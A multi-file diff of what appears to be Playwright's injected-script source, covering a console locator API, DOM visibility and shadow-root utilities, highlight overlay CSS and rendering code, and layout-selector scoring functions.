self.getByText = (text: string | RegExp, options?: { exact?: boolean }): Locator => self.locator(getByTextSelector(text, options));
self.getByTitle = (text: string | RegExp, options?: { exact?: boolean }): Locator => self.locator(getByTitleSelector(text, options));
self.getByRole = (role: string, options: ByRoleOptions = {}): Locator => self.locator(getByRoleSelector(role, options));
self.filter = (options?: { hasText?: string | RegExp, hasNotText?: string | RegExp, has?: Locator, hasNot?: Locator, visible?: boolean }): Locator => new Locator(injectedScript, selector, options);
self.first = (): Locator => self.locator('nth=0');
self.last = (): Locator => self.locator('nth=-1');
self.nth = (index: number): Locator => self.locator(`nth=${index}`);
self.and = (locator: Locator): Locator => new Locator(injectedScript, selectorBase + ` >> internal:and=` + JSON.stringify(locator[selectorSymbol]));
self.or = (locator: Locator): Locator => new Locator(injectedScript, selectorBase + ` >> internal:or=` + JSON.stringify(locator[selectorSymbol]));
}
}
declare global {
interface Window {
playwright?: any;
inspect: (element: Element | undefined) => void;
__pw_resume?: () => Promise<void>;
}
}
export class ConsoleAPI {
private _injectedScript: InjectedScript;
constructor(injectedScript: InjectedScript) {
this._injectedScript = injectedScript;
}
install() {
if (this._injectedScript.window.playwright)
return;
this._injectedScript.window.playwright = {
$: (selector: string, strict?: boolean) => this._querySelector(selector, !!strict),
$$: (selector: string) => this._querySelectorAll(selector),
inspect: (selector: string) => this._inspect(selector),
selector: (element: Element) => this._selector(element),
generateLocator: (element: Element, language?: Language) => this._generateLocator(element, language),
ariaSnapshot: (element?: Element, options?: AriaTreeOptions) => {
return this._injectedScript.ariaSnapshot(element || this._injectedScript.document.body, options || { mode: 'default' });
},
resume: () => this._resume(),
...new Locator(this._injectedScript, ''),
};
delete this._injectedScript.window.playwright.filter;
delete this._injectedScript.window.playwright.first;
delete this._injectedScript.window.playwright.last;
delete this._injectedScript.window.playwright.nth;
delete this._injectedScript.window.playwright.and;
delete this._injectedScript.window.playwright.or;
}
private _querySelector(selector: string, strict: boolean): (Element | undefined) {
if (typeof selector !== 'string')
throw new Error(`Usage: playwright.query('Playwright >> selector').`);
const parsed = this._injectedScript.parseSelector(selector);
return this._injectedScript.querySelector(parsed, this._injectedScript.document, strict);
}
private _querySelectorAll(selector: string): Element[] {
if (typeof selector !== 'string')
throw new Error(`Usage: playwright.$$('Playwright >> selector').`);
const parsed = this._injectedScript.parseSelector(selector);
return this._injectedScript.querySelectorAll(parsed, this._injectedScript.document);
}
private _inspect(selector: string) {
if (typeof selector !== 'string')
throw new Error(`Usage: playwright.inspect('Playwright >> selector').`);
this._injectedScript.window.inspect(this._querySelector(selector, false));
}
private _selector(element: Element) {
if (!(element instanceof Element))
throw new Error(`Usage: playwright.selector(element).`);
return this._injectedScript.generateSelectorSimple(element);
}
private _generateLocator(element: Element, language?: Language) {
if (!(element instanceof Element))
throw new Error(`Usage: playwright.locator(element).`);
const selector = this._injectedScript.generateSelectorSimple(element);
return asLocator(language || 'javascript', selector);
}
private _resume() {
if (!this._injectedScript.window.__pw_resume)
return false;
this._injectedScript.window.__pw_resume().catch(() => {});
}
}
@@ -0,0 +1,175 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
type GlobalOptions = {
browserNameForWorkarounds?: string;
};
let globalOptions: GlobalOptions = {};
export function setGlobalOptions(options: GlobalOptions) {
globalOptions = options;
}
export function getGlobalOptions(): GlobalOptions {
return globalOptions;
}
export function isInsideScope(scope: Node, element: Element | undefined): boolean {
while (element) {
if (scope.contains(element))
return true;
element = enclosingShadowHost(element);
}
return false;
}
export function enclosingElement(node: Node) {
if (node.nodeType === 1 /* Node.ELEMENT_NODE */)
return node as Element;
return node.parentElement ?? undefined;
}
export function parentElementOrShadowHost(element: Element): Element | undefined {
if (element.parentElement)
return element.parentElement;
if (!element.parentNode)
return;
if (element.parentNode.nodeType === 11 /* Node.DOCUMENT_FRAGMENT_NODE */ && (element.parentNode as ShadowRoot).host)
return (element.parentNode as ShadowRoot).host;
}
export function enclosingShadowRootOrDocument(element: Element): Document | ShadowRoot | undefined {
let node: Node = element;
while (node.parentNode)
node = node.parentNode;
if (node.nodeType === 11 /* Node.DOCUMENT_FRAGMENT_NODE */ || node.nodeType === 9 /* Node.DOCUMENT_NODE */)
return node as Document | ShadowRoot;
}
function enclosingShadowHost(element: Element): Element | undefined {
while (element.parentElement)
element = element.parentElement;
return parentElementOrShadowHost(element);
}
// Assumption: if scope is provided, element must be inside scope's subtree.
export function closestCrossShadow(element: Element | undefined, css: string, scope?: Document | Element): Element | undefined {
while (element) {
const closest = element.closest(css);
if (scope && closest !== scope && closest?.contains(scope))
return;
if (closest)
return closest;
element = enclosingShadowHost(element);
}
}
export function getElementComputedStyle(element: Element, pseudo?: string): CSSStyleDeclaration | undefined {
const cache = pseudo === '::before' ? cacheStyleBefore : pseudo === '::after' ? cacheStyleAfter : cacheStyle;
if (cache && cache.has(element))
return cache.get(element);
const style = element.ownerDocument && element.ownerDocument.defaultView ? element.ownerDocument.defaultView.getComputedStyle(element, pseudo) : undefined;
cache?.set(element, style);
return style;
}
export function isElementStyleVisibilityVisible(element: Element, style?: CSSStyleDeclaration): boolean {
style = style ?? getElementComputedStyle(element);
if (!style)
return true;
// Element.checkVisibility checks for content-visibility and also looks at
// styles up the flat tree including user-agent ShadowRoots, such as the
// details element for example.
// All the browser implement it, but WebKit has a bug which prevents us from using it:
// https://bugs.webkit.org/show_bug.cgi?id=264733
// @ts-ignore
if (Element.prototype.checkVisibility && globalOptions.browserNameForWorkarounds !== 'webkit') {
if (!element.checkVisibility())
return false;
} else {
// Manual workaround for WebKit that does not have checkVisibility.
const detailsOrSummary = element.closest('details,summary');
if (detailsOrSummary !== element && detailsOrSummary?.nodeName === 'DETAILS' && !(detailsOrSummary as HTMLDetailsElement).open)
return false;
}
if (style.visibility !== 'visible')
return false;
return true;
}
export function computeBox(element: Element) {
// Note: this logic should be similar to waitForDisplayedAtStablePosition() to avoid surprises.
const style = getElementComputedStyle(element);
if (!style)
return { visible: true, inline: false };
const cursor = style.cursor;
if (style.display === 'contents') {
// display:contents is not rendered itself, but its child nodes are.
for (let child = element.firstChild; child; child = child.nextSibling) {
if (child.nodeType === 1 /* Node.ELEMENT_NODE */ && isElementVisible(child as Element))
return { visible: true, inline: false, cursor };
if (child.nodeType === 3 /* Node.TEXT_NODE */ && isVisibleTextNode(child as Text))
return { visible: true, inline: true, cursor };
}
return { visible: false, inline: false, cursor };
}
if (!isElementStyleVisibilityVisible(element, style))
return { cursor, visible: false, inline: false };
const rect = element.getBoundingClientRect();
return { cursor, visible: rect.width > 0 && rect.height > 0, inline: style.display === 'inline' };
}
export function isElementVisible(element: Element): boolean {
return computeBox(element).visible;
}
export function isVisibleTextNode(node: Text) {
// https://stackoverflow.com/questions/1461059/is-there-an-equivalent-to-getboundingclientrect-for-text-nodes
const range = node.ownerDocument.createRange();
range.selectNode(node);
const rect = range.getBoundingClientRect();
return rect.width > 0 && rect.height > 0;
}
export function elementSafeTagName(element: Element) {
const tagName = element.tagName;
if (typeof tagName === 'string') // Fast path.
return tagName.toUpperCase();
// Named inputs, e.g. <input name=tagName>, will be exposed as fields on the parent <form>
// and override its properties.
if (element instanceof HTMLFormElement)
return 'FORM';
// Elements from the svg namespace do not have uppercase tagName right away.
return element.tagName.toUpperCase();
}
let cacheStyle: Map<Element, CSSStyleDeclaration | undefined> | undefined;
let cacheStyleBefore: Map<Element, CSSStyleDeclaration | undefined> | undefined;
let cacheStyleAfter: Map<Element, CSSStyleDeclaration | undefined> | undefined;
let cachesCounter = 0;
export function beginDOMCaches() {
++cachesCounter;
cacheStyle ??= new Map();
cacheStyleBefore ??= new Map();
cacheStyleAfter ??= new Map();
}
export function endDOMCaches() {
if (!--cachesCounter) {
cacheStyle = undefined;
cacheStyleBefore = undefined;
cacheStyleAfter = undefined;
}
}
@@ -0,0 +1,366 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
:host {
font-size: 13px;
font-family: system-ui, "Ubuntu", "Droid Sans", sans-serif;
color: #333;
}
svg {
position: absolute;
height: 0;
}
x-pw-tooltip {
backdrop-filter: blur(5px);
background-color: white;
border-radius: 6px;
box-shadow: 0 0.5rem 1.2rem rgba(0,0,0,.3);
display: none;
font-size: 12.8px;
font-weight: normal;
left: 0;
line-height: 1.5;
max-width: 600px;
position: absolute;
top: 0;
padding: 0;
flex-direction: column;
overflow: hidden;
}
x-pw-tooltip-line {
display: flex;
max-width: 600px;
padding: 6px;
user-select: none;
cursor: pointer;
}
x-pw-tooltip-footer {
display: flex;
max-width: 600px;
padding: 6px;
user-select: none;
color: #777;
}
x-pw-dialog {
background-color: white;
pointer-events: auto;
border-radius: 6px;
box-shadow: 0 0.5rem 1.2rem rgba(0,0,0,.3);
display: flex;
flex-direction: column;
position: absolute;
z-index: 10;
font-size: 13px;
}
x-pw-dialog:not(.autosize) {
width: 400px;
height: 150px;
}
x-pw-dialog-body {
display: flex;
flex-direction: column;
flex: auto;
}
x-pw-dialog-body label {
margin: 5px 8px;
display: flex;
flex-direction: row;
align-items: center;
}
x-pw-highlight {
position: absolute;
top: 0;
left: 0;
width: 0;
height: 0;
}
x-pw-action-point {
position: absolute;
width: 20px;
height: 20px;
background: red;
border-radius: 10px;
margin: -10px 0 0 -10px;
z-index: 2;
}
x-pw-title {
position: absolute;
backdrop-filter: blur(5px);
background-color: rgba(0, 0, 0, 0.5);
color: white;
border-radius: 6px;
padding: 6px;
font-size: 24px;
line-height: 1.4;
white-space: nowrap;
user-select: none;
z-index: 3;
}
x-pw-user-overlays, x-pw-user-overlay {
position: absolute;
inset: 0;
}
@keyframes pw-fade-out {
from { opacity: 1; }
to { opacity: 0; }
}
x-pw-separator {
height: 1px;
margin: 6px 9px;
background: rgb(148 148 148 / 90%);
}
x-pw-tool-gripper {
height: 28px;
width: 24px;
margin: 2px 0;
cursor: grab;
}
x-pw-tool-gripper:active {
cursor: grabbing;
}
x-pw-tool-gripper > x-div {
width: 16px;
height: 16px;
margin: 6px 4px;
clip-path: url(#icon-gripper);
background-color: #555555;
}
x-pw-tools-list > label {
display: flex;
align-items: center;
margin: 0 10px;
user-select: none;
}
x-pw-tools-list {
display: flex;
width: 100%;
border-bottom: 1px solid #dddddd;
}
x-pw-tool-item {
pointer-events: auto;
height: 28px;
width: 28px;
border-radius: 3px;
}
x-pw-tool-item:not(.disabled) {
cursor: pointer;
}
x-pw-tool-item:not(.disabled):hover {
background-color: hsl(0, 0%, 86%);
}
x-pw-tool-item.toggled {
background-color: rgba(138, 202, 228, 0.5);
}
x-pw-tool-item.toggled:not(.disabled):hover {
background-color: #8acae4c4;
}
x-pw-tool-item > x-div {
width: 16px;
height: 16px;
margin: 6px;
background-color: #3a3a3a;
}
x-pw-tool-item.disabled > x-div {
background-color: rgba(97, 97, 97, 0.5);
cursor: default;
}
x-pw-tool-item.record.toggled {
background-color: transparent;
}
x-pw-tool-item.record.toggled:not(.disabled):hover {
background-color: hsl(0, 0%, 86%);
}
x-pw-tool-item.record.toggled > x-div {
background-color: #a1260d;
}
x-pw-tool-item.record.disabled.toggled > x-div {
opacity: 0.8;
}
x-pw-tool-item.accept > x-div {
background-color: #388a34;
}
x-pw-tool-item.record > x-div {
/* codicon: circle-large-filled */
clip-path: url(#icon-circle-large-filled);
}
x-pw-tool-item.record.toggled > x-div {
/* codicon: stop-circle */
clip-path: url(#icon-stop-circle);
}
x-pw-tool-item.pick-locator > x-div {
/* codicon: inspect */
clip-path: url(#icon-inspect);
}
x-pw-tool-item.text > x-div {
/* codicon: whole-word */
clip-path: url(#icon-whole-word);
}
x-pw-tool-item.visibility > x-div {
/* codicon: eye */
clip-path: url(#icon-eye);
}
x-pw-tool-item.value > x-div {
/* codicon: symbol-constant */
clip-path: url(#icon-symbol-constant);
}
x-pw-tool-item.snapshot > x-div {
/* codicon: eye */
clip-path: url(#icon-gist);
}
x-pw-tool-item.accept > x-div {
clip-path: url(#icon-check);
}
x-pw-tool-item.cancel > x-div {
clip-path: url(#icon-close);
}
x-pw-tool-item.succeeded > x-div {
/* codicon: pass */
clip-path: url(#icon-pass);
background-color: #388a34 !important;
}
x-pw-overlay {
position: absolute;
top: 0;
max-width: min-content;
z-index: 2147483647;
background: transparent;
pointer-events: auto;
}
x-pw-overlay x-pw-tools-list {
background-color: #ffffffdd;
box-shadow: rgba(0, 0, 0, 0.1) 0px 5px 5px;
border-radius: 3px;
border-bottom: none;
}
x-pw-overlay x-pw-tool-item {
margin: 2px;
}
textarea.text-editor {
font-family: system-ui,Ubuntu,Droid Sans,sans-serif;
flex: auto;
border: none;
margin: 6px 10px;
color: #333;
outline: 1px solid transparent!important;
resize: none;
padding: 0;
font-size: 13px;
}
textarea.text-editor.does-not-match {
outline: 1px solid red !important;
}
x-div {
display: block;
}
x-spacer {
flex: auto;
}
* {
box-sizing: border-box;
}
*[hidden] {
display: none !important;
}
x-locator-editor {
flex: none;
width: 100%;
height: 60px;
padding: 4px;
border-bottom: 1px solid #dddddd;
outline: 1px solid transparent;
}
x-locator-editor.does-not-match {
outline: 1px solid red;
}
.CodeMirror {
width: 100% !important;
height: 100% !important;
}
x-pw-action-list {
flex: auto;
display: flex;
flex-direction: column;
user-select: none;
}
x-pw-action-item {
padding: 6px 10px;
cursor: pointer;
overflow: hidden;
}
x-pw-action-item:hover {
background-color: hsl(0, 0%, 95%);
}
x-pw-action-item:last-child {
border-bottom-left-radius: 6px;
border-bottom-right-radius: 6px;
}
@@ -0,0 +1,420 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { asLocator } from '@isomorphic/locatorGenerators';
import { stringifySelector } from '@isomorphic/selectorParser';
import highlightCSS from './highlight.css?inline';
import type { Language } from '@isomorphic/locatorGenerators';
import type { ParsedSelector } from '@isomorphic/selectorParser';
import type { InjectedScript } from './injectedScript';
type Rect = { x: number, y: number, width: number, height: number };
type RenderedHighlightEntry = {
targetElement?: Element,
color: string,
borderColor?: string,
fadeDuration?: number,
highlightElement: HTMLElement,
tooltipElement?: HTMLElement,
box?: DOMRect,
tooltipTop?: number,
tooltipLeft?: number,
tooltipText?: string,
cssStyle?: string,
};
export type HighlightEntry = {
element?: Element,
box?: Rect,
color: string,
borderColor?: string,
fadeDuration?: number,
tooltipText?: string,
cssStyle?: string,
};
export class Highlight {
private _glassPaneElement: HTMLElement;
private _glassPaneShadow: ShadowRoot;
private _renderedEntries: RenderedHighlightEntry[] = [];
private _actionPointElement: HTMLElement;
private _titleElement: HTMLElement;
private _userOverlayContainer: HTMLElement;
private _userOverlays = new Map<string, HTMLElement>();
private _userOverlayHidden = false;
private _isUnderTest: boolean;
private _injectedScript: InjectedScript;
private _rafRequest: number | undefined;
private _language: Language = 'javascript';
constructor(injectedScript: InjectedScript) {
this._injectedScript = injectedScript;
const document = injectedScript.document;
this._isUnderTest = injectedScript.isUnderTest;
this._glassPaneElement = document.createElement('x-pw-glass');
this._glassPaneElement.setAttribute('popover', 'manual');
this._glassPaneElement.style.inset = '0';
this._glassPaneElement.style.width = '100%';
this._glassPaneElement.style.height = '100%';
this._glassPaneElement.style.maxWidth = 'none';
this._glassPaneElement.style.maxHeight = 'none';
this._glassPaneElement.style.padding = '0';
this._glassPaneElement.style.margin = '0';
this._glassPaneElement.style.border = 'none';
this._glassPaneElement.style.overflow = 'visible';
this._glassPaneElement.style.pointerEvents = 'none';
this._glassPaneElement.style.display = 'flex';
this._glassPaneElement.style.backgroundColor = 'transparent';
this._actionPointElement = document.createElement('x-pw-action-point');
this._actionPointElement.setAttribute('hidden', 'true');
this._titleElement = document.createElement('x-pw-title');
this._titleElement.setAttribute('hidden', 'true');
this._userOverlayContainer = document.createElement('x-pw-user-overlays');
this._userOverlayContainer.setAttribute('hidden', 'true');
this._glassPaneShadow = this._glassPaneElement.attachShadow({ mode: this._isUnderTest ? 'open' : 'closed' });
// workaround for firefox: when taking screenshots, it complains adoptedStyleSheets.push
// is not a function, so we fallback to style injection
if (typeof this._glassPaneShadow.adoptedStyleSheets.push === 'function') {
const sheet = new this._injectedScript.window.CSSStyleSheet();
sheet.replaceSync(highlightCSS);
this._glassPaneShadow.adoptedStyleSheets.push(sheet);
} else {
const styleElement = this._injectedScript.document.createElement('style');
styleElement.textContent = highlightCSS;
this._glassPaneShadow.appendChild(styleElement);
}
this._glassPaneShadow.appendChild(this._actionPointElement);
this._glassPaneShadow.appendChild(this._titleElement);
this._glassPaneShadow.appendChild(this._userOverlayContainer);
}
install() {
// NOTE: document.documentElement can be null: https://github.com/microsoft/TypeScript/issues/50078
if (!this._injectedScript.document.documentElement)
return;
if (!this._injectedScript.document.documentElement.contains(this._glassPaneElement) || this._glassPaneElement.nextElementSibling)
this._injectedScript.document.documentElement.appendChild(this._glassPaneElement);
this._bringToFront();
}
private _bringToFront() {
this._glassPaneElement.hidePopover();
this._glassPaneElement.showPopover();
}
setLanguage(language: Language) {
this._language = language;
}
runHighlightOnRaf(selector: ParsedSelector) {
if (this._rafRequest)
this._injectedScript.utils.builtins.cancelAnimationFrame(this._rafRequest);
const elements = this._injectedScript.querySelectorAll(selector, this._injectedScript.document.documentElement);
const locator = asLocator(this._language, stringifySelector(selector));
const color = elements.length > 1 ? '#f6b26b7f' : '#6fa8dc7f';
this.updateHighlight(elements.map((element, index) => {
const suffix = elements.length > 1 ? ` [${index + 1} of ${elements.length}]` : '';
return { element, color, tooltipText: locator + suffix };
}));
this._rafRequest = this._injectedScript.utils.builtins.requestAnimationFrame(() => this.runHighlightOnRaf(selector));
}
uninstall() {
if (this._rafRequest)
this._injectedScript.utils.builtins.cancelAnimationFrame(this._rafRequest);
this._glassPaneElement.remove();
}
showActionPoint(x: number, y: number, fadeDuration?: number) {
this._actionPointElement.style.top = y + 'px';
this._actionPointElement.style.left = x + 'px';
this._actionPointElement.hidden = false;
if (fadeDuration)
this._actionPointElement.style.animation = `pw-fade-out ${fadeDuration}ms ease-out forwards`;
else
this._actionPointElement.style.animation = '';
}
hideActionPoint() {
this._actionPointElement.hidden = true;
}
showActionTitle(text: string, fadeDuration: number, position?: string, fontSize?: number) {
this._titleElement.textContent = text;
this._titleElement.hidden = false;
if (fadeDuration) {
const fadeTime = fadeDuration / 4;
this._titleElement.style.animation = `pw-fade-out ${fadeTime}ms ease-out ${fadeDuration - fadeTime}ms forwards`;
} else {
this._titleElement.style.animation = '';
}
// Reset positioning
this._titleElement.style.top = '';
this._titleElement.style.bottom = '';
this._titleElement.style.left = '';
this._titleElement.style.right = '';
this._titleElement.style.transform = '';
switch (position) {
case 'top-left':
this._titleElement.style.top = '6px';
this._titleElement.style.left = '6px';
break;
case 'top':
this._titleElement.style.top = '6px';
this._titleElement.style.left = '50%';
this._titleElement.style.transform = 'translateX(-50%)';
break;
case 'bottom-left':
this._titleElement.style.bottom = '6px';
this._titleElement.style.left = '6px';
break;
case 'bottom':
this._titleElement.style.bottom = '6px';
this._titleElement.style.left = '50%';
this._titleElement.style.transform = 'translateX(-50%)';
break;
case 'bottom-right':
this._titleElement.style.bottom = '6px';
this._titleElement.style.right = '6px';
break;
case 'top-right':
default:
this._titleElement.style.top = '6px';
this._titleElement.style.right = '6px';
break;
}
if (fontSize)
this._titleElement.style.fontSize = fontSize + 'px';
}
hideActionTitle() {
this._titleElement.hidden = true;
}
addUserOverlay(id: string, html: string) {
const element = this._injectedScript.document.createElement('div');
element.className = 'x-pw-user-overlay';
element.innerHTML = html;
// Mild sanitization for convenience.
for (const script of element.querySelectorAll('script'))
script.remove();
for (const el of element.querySelectorAll('*')) {
for (const attr of [...el.attributes]) {
if (attr.name.startsWith('on'))
el.removeAttribute(attr.name);
}
}
this._userOverlays.set(id, element);
this._userOverlayContainer.appendChild(element);
this._userOverlayContainer.hidden = this._userOverlayHidden;
return id;
}
getUserOverlay(id: string): HTMLElement | undefined {
return this._userOverlays.get(id);
}
removeUserOverlay(id: string) {
const element = this._userOverlays.get(id);
if (element) {
element.remove();
this._userOverlays.delete(id);
}
if (this._userOverlays.size === 0)
this._userOverlayContainer.hidden = true;
}
setUserOverlaysVisible(visible: boolean) {
this._userOverlayHidden = !visible;
this._userOverlayContainer.hidden = !visible || this._userOverlays.size === 0;
}
clearHighlight() {
for (const entry of this._renderedEntries) {
entry.highlightElement?.remove();
entry.tooltipElement?.remove();
}
this._renderedEntries = [];
}
maskElements(elements: Element[], color: string) {
this.updateHighlight(elements.map(element => ({ element, color })));
}
updateHighlight(entries: HighlightEntry[]) {
// Code below should trigger one layout and leave with the
// destroyed layout.
if (this._highlightIsUpToDate(entries))
return;
// 1. Destroy the layout
this.clearHighlight();
for (const entry of entries) {
const highlightElement = this._createHighlightElement();
this._glassPaneShadow.appendChild(highlightElement);
let tooltipElement;
if (entry.tooltipText) {
tooltipElement = this._injectedScript.document.createElement('x-pw-tooltip');
this._glassPaneShadow.appendChild(tooltipElement);
tooltipElement.style.top = '0';
tooltipElement.style.left = '0';
tooltipElement.style.display = 'flex';
const lineElement = this._injectedScript.document.createElement('x-pw-tooltip-line');
lineElement.textContent = entry.tooltipText;
tooltipElement.appendChild(lineElement);
}
this._renderedEntries.push({ targetElement: entry.element, box: toDOMRect(entry.box), color: entry.color, borderColor: entry.borderColor, fadeDuration: entry.fadeDuration, cssStyle: entry.cssStyle, tooltipElement, highlightElement });
}
// 2. Trigger layout while positioning tooltips and computing bounding boxes.
for (const entry of this._renderedEntries) {
if (!entry.box && !entry.targetElement)
continue;
entry.box = entry.box || entry.targetElement!.getBoundingClientRect();
if (!entry.tooltipElement)
continue;
// Position tooltip, if any.
const { anchorLeft, anchorTop } = this.tooltipPosition(entry.box, entry.tooltipElement);
entry.tooltipTop = anchorTop;
entry.tooltipLeft = anchorLeft;
}
// 3. Destroy the layout again.
for (const entry of this._renderedEntries) {
if (entry.tooltipElement) {
entry.tooltipElement.style.top = entry.tooltipTop + 'px';
entry.tooltipElement.style.left = entry.tooltipLeft + 'px';
}
const box = entry.box!;
entry.highlightElement.style.backgroundColor = entry.color;
entry.highlightElement.style.left = box.x + 'px';
entry.highlightElement.style.top = box.y + 'px';
entry.highlightElement.style.width = box.width + 'px';
entry.highlightElement.style.height = box.height + 'px';
entry.highlightElement.style.display = 'block';
if (entry.borderColor)
entry.highlightElement.style.border = '2px solid ' + entry.borderColor;
if (entry.fadeDuration)
entry.highlightElement.style.animation = `pw-fade-out ${entry.fadeDuration}ms ease-out forwards`;
if (entry.cssStyle)
entry.highlightElement.style.cssText += ';' + entry.cssStyle;
if (this._isUnderTest)
console.error('Highlight box for test: ' + JSON.stringify({ x: box.x, y: box.y, width: box.width, height: box.height })); // eslint-disable-line no-console
}
}
firstBox(): DOMRect | undefined {
return this._renderedEntries[0]?.box;
}
firstTooltipBox(): DOMRect | undefined {
const entry = this._renderedEntries[0];
if (!entry || !entry.tooltipElement || entry.tooltipLeft === undefined || entry.tooltipTop === undefined)
return;
return {
x: entry.tooltipLeft,
y: entry.tooltipTop,
left: entry.tooltipLeft,
top: entry.tooltipTop,
width: entry.tooltipElement.offsetWidth,
height: entry.tooltipElement.offsetHeight,
bottom: entry.tooltipTop + entry.tooltipElement.offsetHeight,
right: entry.tooltipLeft + entry.tooltipElement.offsetWidth,
toJSON: () => {},
};
}
// Note: there is a copy of this method in dialog.tsx. Please fix bugs in both places.
tooltipPosition(box: DOMRect, tooltipElement: HTMLElement) {
const tooltipWidth = tooltipElement.offsetWidth;
const tooltipHeight = tooltipElement.offsetHeight;
const totalWidth = this._glassPaneElement.offsetWidth;
const totalHeight = this._glassPaneElement.offsetHeight;
let anchorLeft = Math.max(5, box.left);
if (anchorLeft + tooltipWidth > totalWidth - 5)
anchorLeft = totalWidth - tooltipWidth - 5;
let anchorTop = Math.max(0, box.bottom) + 5;
if (anchorTop + tooltipHeight > totalHeight - 5) {
// If can't fit below, either position above...
if (Math.max(0, box.top) > tooltipHeight + 5) {
anchorTop = Math.max(0, box.top) - tooltipHeight - 5;
} else {
// Or on top in case of large element
anchorTop = totalHeight - 5 - tooltipHeight;
}
}
return { anchorLeft, anchorTop };
}
private _highlightIsUpToDate(entries: HighlightEntry[]): boolean {
if (entries.length !== this._renderedEntries.length)
return false;
for (let i = 0; i < this._renderedEntries.length; ++i) {
if (entries[i].element !== this._renderedEntries[i].targetElement)
return false;
if (entries[i].color !== this._renderedEntries[i].color)
return false;
const oldBox = this._renderedEntries[i].box;
if (!oldBox)
return false;
const box = entries[i].box ? toDOMRect(entries[i].box!) : entries[i].element!.getBoundingClientRect();
if (box.top !== oldBox.top || box.right !== oldBox.right || box.bottom !== oldBox.bottom || box.left !== oldBox.left)
return false;
}
return true;
}
private _createHighlightElement(): HTMLElement {
return this._injectedScript.document.createElement('x-pw-highlight');
}
appendChild(element: Element) {
this._glassPaneShadow.appendChild(element);
}
onGlassPaneClick(handler: (event: MouseEvent) => void) {
this._glassPaneElement.style.pointerEvents = 'auto';
this._glassPaneElement.style.backgroundColor = 'rgba(0, 0, 0, 0.3)';
this._glassPaneElement.addEventListener('click', handler);
}
offGlassPaneClick(handler: (event: MouseEvent) => void) {
this._glassPaneElement.style.pointerEvents = 'none';
this._glassPaneElement.style.backgroundColor = 'transparent';
this._glassPaneElement.removeEventListener('click', handler);
}
}
function toDOMRect(box: Rect): DOMRect;
function toDOMRect(box: Rect | undefined): DOMRect | undefined;
function toDOMRect(box: Rect | undefined): DOMRect | undefined {
if (!box)
return undefined;
return new DOMRect(box.x, box.y, box.width, box.height);
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,76 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function boxRightOf(box1: DOMRect, box2: DOMRect, maxDistance: number | undefined): number | undefined {
const distance = box1.left - box2.right;
if (distance < 0 || (maxDistance !== undefined && distance > maxDistance))
return;
return distance + Math.max(box2.bottom - box1.bottom, 0) + Math.max(box1.top - box2.top, 0);
}
function boxLeftOf(box1: DOMRect, box2: DOMRect, maxDistance: number | undefined): number | undefined {
const distance = box2.left - box1.right;
if (distance < 0 || (maxDistance !== undefined && distance > maxDistance))
return;
return distance + Math.max(box2.bottom - box1.bottom, 0) + Math.max(box1.top - box2.top, 0);
}
function boxAbove(box1: DOMRect, box2: DOMRect, maxDistance: number | undefined): number | undefined {
const distance = box2.top - box1.bottom;
if (distance < 0 || (maxDistance !== undefined && distance > maxDistance))
return;
return distance + Math.max(box1.left - box2.left, 0) + Math.max(box2.right - box1.right, 0);
}
function boxBelow(box1: DOMRect, box2: DOMRect, maxDistance: number | undefined): number | undefined {
const distance = box1.top - box2.bottom;
if (distance < 0 || (maxDistance !== undefined && distance > maxDistance))
return;
return distance + Math.max(box1.left - box2.left, 0) + Math.max(box2.right - box1.right, 0);
}
function boxNear(box1: DOMRect, box2: DOMRect, maxDistance: number | undefined): number | undefined {
const kThreshold = maxDistance === undefined ? 50 : maxDistance;
let score = 0;
if (box1.left - box2.right >= 0)
score += box1.left - box2.right;
if (box2.left - box1.right >= 0)
score += box2.left - box1.right;
if (box2.top - box1.bottom >= 0)
score += box2.top - box1.bottom;
if (box1.top - box2.bottom >= 0)
score += box1.top - box2.bottom;
return score > kThreshold ? undefined : score;
}
export type LayoutSelectorName = 'left-of' | 'right-of' | 'above' | 'below' | 'near';
export const kLayoutSelectorNames: LayoutSelectorName[] = ['left-of', 'right-of', 'above', 'below', 'near'];
export function layoutSelectorScore(name: LayoutSelectorName, element: Element, inner: Element[], maxDistance: number | undefined): number | undefined {
const box = element.getBoundingClientRect();
const scorer = { 'left-of': boxLeftOf, 'right-of': boxRightOf, 'above': boxAbove, 'below': boxBelow, 'near': boxNear }[name];
let bestScore: number | undefined;
for (const e of inner) {
if (e === element)
continue;
const score = scorer(box, e.getBoundingClientRect(), maxDistance);
if (score === undefined)
continue;
if (bestScore === undefined || score < bestScore)
bestScore = score;
}
return bestScore;
}
@@ -0,0 +1,4 @@
# Recorder must use any external dependencies through injectedScript.utils.
# Otherwise it will end up with a copy of all modules it uses, and any
# module-level globals will be duplicated, which leads to subtle bugs.
[*]
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
